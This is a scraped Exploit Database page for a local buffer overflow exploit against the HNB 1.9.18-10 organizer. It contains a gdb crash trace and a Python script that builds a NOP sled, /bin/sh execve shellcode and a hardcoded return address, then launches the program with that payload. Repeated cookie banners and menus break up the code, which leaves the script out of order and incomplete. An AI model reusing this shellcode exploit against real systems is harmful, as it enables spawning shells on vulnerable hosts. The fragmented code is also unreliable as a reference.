



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

# HNB 1.9.18-10 - Local Buffer Overflow

**EDB-ID:**

40025

**CVE:**

N/A

**EDB Verified:** ✘**Author:**[JUAN SACCO](#)**Type:**[LOCAL](#)**Exploit:**   / **Cookiebot**  
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: HNB - Organizer
# Version: 1.9.18-10
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Hnb is an ncurses program to organize many
kinds of data in one place, for
# example addresses, todo lists, ideas, book reviews or to store snippets
of
# brainstorming.
# Kali Linux 2.0 package: pool/main/h/hnb/hnb_1.9.18-10_i386.deb
# MD5sum: 1e1ff680f6e94a1a28ca85eeb3ea6aa0
# Website:http://hnb.sourceforge.net/
#
# gdb$ run -rc `python -c 'print "A"*108'`
# Starting program: /usr/bin/hnb -rc `python -c 'print "A"*108'`
# *** buffer overflow detected ***: /usr/bin/hnb terminated
# ===== Backtrace: =====
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb7e14773]
# /lib/i386-linux-anu/i686/cmov/libc.so.6( fortifv fail+0x45)[0xb7ea4b85]
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
buffer_size = 108
nopsled = "\x90"*40
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x40\xf3\xff\xbf"
buffer = nopsled * (buffer_size-len(shellcode)) + eip
subprocess.call(["hnb -rc", ' ', buffer])

except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, HNB File Viewer - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit HNB 1.9.18-10 Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
    except IndexError:
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
howtousage()
run()
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >